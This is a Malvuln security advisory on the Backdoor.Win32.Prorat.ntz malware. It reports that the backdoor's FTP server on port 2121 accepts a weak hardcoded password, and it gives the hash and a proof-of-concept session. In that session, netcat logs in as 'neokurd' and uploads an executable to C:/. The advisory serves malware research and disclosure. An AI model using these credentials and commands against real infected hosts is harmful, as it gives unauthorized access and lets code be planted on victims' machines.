Backdoor.Win32.Prorat.ntz Weak Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Prorat.ntz  
Vulnerability: Weak Hardcoded Password  
Description: The malware runs an FTP server on TCP port 2121. The authors handle "NeoKurD" displayed in the FTP banner response is reused as the password, just in lowercase. Moreover, the executable is packed with UPX and exposes the cleartext credentials when decompressed.  
Type: PE32  
MD5: ab96d7f9e008a0774239be6be0c8e7bb  
Vuln ID: MVID-2021-0382  
Dropped files: dxdiag.exe  
Disclosure: 10/27/2021  
  
Exploit/PoC:  
nc64.exe 192.168.18.125 2121  
220 Undetected by NeoKurD  
USER neokurd  
331 Password required for neokurd.  
PASS neokurd  
230 User neokurd logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,125,194,47).  
CDUP  
250 CWD command successful. "C:/" is current directory.  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
  
  
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